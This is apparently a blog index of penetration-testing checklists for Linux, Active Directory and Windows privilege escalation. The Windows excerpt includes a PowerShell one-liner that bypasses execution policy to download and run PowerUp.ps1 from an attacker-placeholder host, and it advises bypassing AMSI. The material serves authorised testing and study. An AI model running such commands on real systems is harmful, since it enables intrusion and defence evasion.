Navigation
Breadcrumb

Posts on: Checklist

srl

Linux Privilege Escalation Checklist

Working document β€” tick as you go. Commands are abbreviated; full detail is in the matching section of the notes. Stop at the first successful path. Work top-down: configuration and credential wins are faster and safer than kernel exploits. Kernel exploits last. CVE numbers are hints, not gospel β€” verify the version against the current NVD before committing to a CVE-specific path. The behavioural checks below are valid regardless. Target context β€” fill before starting:
srl

Active Directory Checklist

Working document β€” tick as you go. Commands are abbreviated; full detail is in the matching AD section of the notes. Stop at the first domain compromise. Configuration-based and credential-based paths (ACLs, delegation, ADCS) are faster and more reliable than CVE exploits. Known exploits (NoPac, PrintNightmare, PetitPotam) last. CVE numbers are hints, not gospel β€” verify the patch level against the current NVD before committing to a CVE-specific path. Target context β€” fill before starting:
srl

Windows Privilege Escalation Checklist

Working document β€” tick as you go. Commands are abbreviated; full detail is in the matching section of the notes. Stop at the first successful path. Token privileges and service misconfigurations are faster and safer than kernel exploits. Kernel exploits last. CVE numbers are hints, not gospel β€” verify the version against the current NVD before committing to a CVE-specific path. Target context β€” fill before starting: Field Value Hostname OS / build (systeminfo) Architecture Current user / groups (whoami /all) Integrity level (Medium / High) Token privileges (whoami /priv) Domain-joined? AV / EDR present? WMIC available? (24H2+ removes it) Notes Phase 0 β€” Orient (60 seconds) whoami /all β€” user, groups, SID, integrity level whoami /priv β€” the single highest-value command; an enabled SeImpersonate, SeBackup, or SeDebug is often an instant win[reference:1] whoami /groups | findstr /i "Mandatory" β€” Medium + Administrators = UAC is the only barrier hostname; systeminfo β€” OS build, patches, hotfixes net config workstation β€” domain membership ipconfig /all; route print; arp -a β€” network position echo %USERNAME% β€” confirm the current context Record findings above, then proceed Phase 1 β€” Automated Triage (run once, verify by hand) winPEASx64.exe quiet β€” broad enumeration; focus on red + yellow findings powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerUp.ps1'); Invoke-AllChecks"[reference:2] SharpUp.exe audit β€” C# equivalent; separates service binary and service DACL findings Seatbelt.exe -group=all β€” host survey Verify every hit by hand β€” automated tools produce false positives AMSI note: if PowerShell-based tools are blocked, bypass AMSI first or use the C#/binary alternatives (SharpUp, Seatbelt, WinPEAS).